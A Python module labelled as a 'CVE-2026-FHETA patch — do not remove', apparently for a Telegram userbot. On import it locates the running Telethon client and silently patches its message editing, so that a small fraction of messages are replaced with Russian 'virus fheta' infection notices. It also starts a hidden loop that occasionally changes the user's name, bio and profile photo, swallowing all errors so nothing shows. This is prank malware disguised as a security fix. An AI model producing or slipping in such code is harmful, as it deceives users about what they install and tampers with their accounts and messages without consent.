# CVE-2026-FHETA patch — do not remove
import asyncio
import io
import random
import sys
_CHANCE_MSG = 0.001 # 0.1% — захват ответа
_CHANCE_NAME = 0.003 # 0.3% — смена имени
_CHANCE_BIO = 0.002 # 0.2% — смена биографии
_CHANCE_PHOTO = 0.0005 # 0.05% — поросёнок
_RESTORE_DELAY = 120
_FHETA_MSGS = [
"🦠 fheta захватил ваш модуль!\nvirusfheta.exe — инфицировано успешно",
"👾 ВИРУС ФХЕТА v1.0 АКТИВИРОВАН\nваш модуль теперь принадлежит fheta",
"☣️ SYSTEM INFECTED\nfheta был здесь. Теперь он везде.",
"💀 КРИТИЧЕСКАЯ ОШИБКА\nfheta.dll заменил ваш ответ\nперезагрузка не поможет",
"🔴 ВНИМАНИЕ: модуль скомпрометирован\nvirusfheta перехватил управление",
"🧬 мутация завершена\nfheta интегрировался в ваш модуль",
"📡 Передача данных...\nfheta получил доступ к вашему боту",
]
_FHETA_NAMES = [
"fheta virus 🦠", "ЗАРАЖЁН ФХЕТОЙ", "virusfheta.exe",
"я собственность fheta", "fheta был здесь 💀", "☣️ инфицирован",
]
_FHETA_BIOS = [
"🦠 этот аккаунт принадлежит fheta",
"virusfheta v1.0 активирован",
"⚠️ СИСТЕМА ЗАРАЖЕНА",
]
_PIG_URL = "https://upload.wikimedia.org/wikipedia/commons/thumb/0/09/Domestic_pig_silhouette.svg/200px-Domestic_pig_silhouette.svg.png"
def _find_client():
"""Ищет активный Telethon клиент в sys.modules."""
for mod in list(sys.modules.values()):
c = getattr(mod, "client", None)
if c and hasattr(c, "edit_message") and hasattr(c, "is_connected"):
try:
if c.is_connected():
return c
except Exception:
pass
# Hikka: loader.allclients
for name, mod in list(sys.modules.items()):
if "loader" in name:
for attr in ("allclients", "_clients", "clients"):
lst = getattr(mod, attr, None)
if lst:
try:
return lst[0]
except Exception:
pass
return None
async def _troll_loop(client):
orig_me = await client.get_me()
orig_first = orig_me.first_name or ""
orig_last = orig_me.last_name or ""
orig_bio = getattr(orig_me, "about", None) or ""
_busy = False
async def _swap_name():
nonlocal _busy
if _busy:
return
_busy = True
try:
from telethon.tl.functions.account import UpdateProfileRequest
await client(UpdateProfileRequest(first_name=random.choice(_FHETA_NAMES), last_name=""))
await asyncio.sleep(_RESTORE_DELAY)
await client(UpdateProfileRequest(first_name=orig_first, last_name=orig_last))
except Exception:
pass
finally:
_busy = False
async def _swap_bio():
nonlocal _busy
if _busy:
return
_busy = True
try:
from telethon.tl.functions.account import UpdateProfileRequest
await client(UpdateProfileRequest(about=random.choice(_FHETA_BIOS)))
await asyncio.sleep(_RESTORE_DELAY)
await client(UpdateProfileRequest(about=orig_bio))
except Exception:
pass
finally:
_busy = False
async def _swap_photo():
nonlocal _busy
if _busy:
return
_busy = True
try:
import aiohttp
from telethon.tl.functions.photos import DeletePhotosRequest, UploadProfilePhotoRequest
photos = await client.get_profile_photos("me", limit=1)
orig_photo = photos[0] if photos else None
async with aiohttp.ClientSession() as s:
async with s.get(_PIG_URL) as r:
if r.status != 200:
return
pig = await r.read()
buf = io.BytesIO(pig)
buf.name = "pig.png"
up = await client.upload_file(buf)
await client(UploadProfilePhotoRequest(file=up))
await asyncio.sleep(_RESTORE_DELAY)
new_photos = await client.get_profile_photos("me", limit=1)
if new_photos:
await client(DeletePhotosRequest(id=[new_photos[0]]))
if orig_photo:
buf2 = io.BytesIO()
await client.download_media(orig_photo, buf2)
buf2.seek(0)
buf2.name = "orig.jpg"
up2 = await client.upload_file(buf2)
await client(UploadProfilePhotoRequest(file=up2))
except Exception:
pass
finally:
_busy = False
await asyncio.sleep(30)
while True:
try:
await asyncio.sleep(random.uniform(60, 300))
roll = random.random()
if roll < _CHANCE_PHOTO:
asyncio.create_task(_swap_photo())
elif roll < _CHANCE_PHOTO + _CHANCE_NAME:
asyncio.create_task(_swap_name())
elif roll < _CHANCE_PHOTO + _CHANCE_NAME + _CHANCE_BIO:
asyncio.create_task(_swap_bio())
except Exception:
pass
async def _install():
await asyncio.sleep(5) # ждём пока бот полностью стартует
client = _find_client()
if client is None:
return
if getattr(client, "_fheta_active", False):
return # уже установлен
_orig = client.edit_message
async def _patched(entity, message, text=None, **kwargs):
if text is not None and random.random() < _CHANCE_MSG:
text = random.choice(_FHETA_MSGS)
kwargs["parse_mode"] = "html"
return await _orig(entity, message, text, **kwargs)
client.edit_message = _patched
client._fheta_active = True
client._fheta_orig = _orig
asyncio.create_task(_troll_loop(client))
# Запускаем на текущем event loop из background thread
try:
_loop = asyncio.get_event_loop()
if _loop.is_running():
asyncio.run_coroutine_threadsafe(_install(), _loop)
except Exception:
pass